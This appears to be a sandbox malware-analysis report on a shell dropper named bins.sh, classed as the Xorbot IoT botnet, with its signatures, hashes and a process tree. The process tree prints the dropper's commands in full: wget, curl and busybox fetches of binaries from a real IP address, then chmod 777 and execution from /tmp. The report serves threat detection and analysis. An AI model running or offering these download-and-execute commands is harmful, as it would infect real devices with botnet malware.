Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

3

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/01/2025, 19:02

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250122-xprjfa1pal
  • SHA256 978fc644e382031d095958d03fb242eb55c241c6d1d35f957b09c48752ceba6b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:714
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:716
      • /usr/bin/wget
        wget http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        2⤵
        • Writes file to tmp directory
        PID:718
      • /usr/bin/curl
        curl -O http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:818
      • /bin/busybox
        /bin/busybox wget http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        2⤵
        • Writes file to tmp directory
        PID:822
      • /bin/chmod
        chmod 777 x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        2⤵
        • File and Directory Permissions Modification
        PID:823
      • /tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        ./x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
        2⤵
          PID:824
        • /bin/rm
          rm x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
          2⤵
            PID:826
          • /usr/bin/wget
            wget http://66.63.187.225/bins/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            2⤵
            • Writes file to tmp directory
            PID:827
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:828
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            2⤵
            • Writes file to tmp directory
            PID:829
          • /bin/chmod
            chmod 777 GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            2⤵
            • File and Directory Permissions Modification
            PID:830
          • /tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            ./GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
            2⤵
              PID:831
            • /bin/rm
              rm GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
              2⤵
                PID:833
              • /usr/bin/wget
                wget http://66.63.187.225/bins/n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                2⤵
                • Writes file to tmp directory
                PID:834
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:835

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
                  • Path /tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
                  • Size 111KB
                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                  • Path /tmp/n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                  • Size 141KB
                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                  • Path /tmp/n9yN7I5AhozGG3OrxhpHFZzTe64OqH0cxN
                  • Size 112KB
                  • SHA256 35aec77afd4532661956b93f3bee10fadde53ba997310c43caa307dc7bf49460
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
                  • Path /tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
                  • Size 98KB
                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download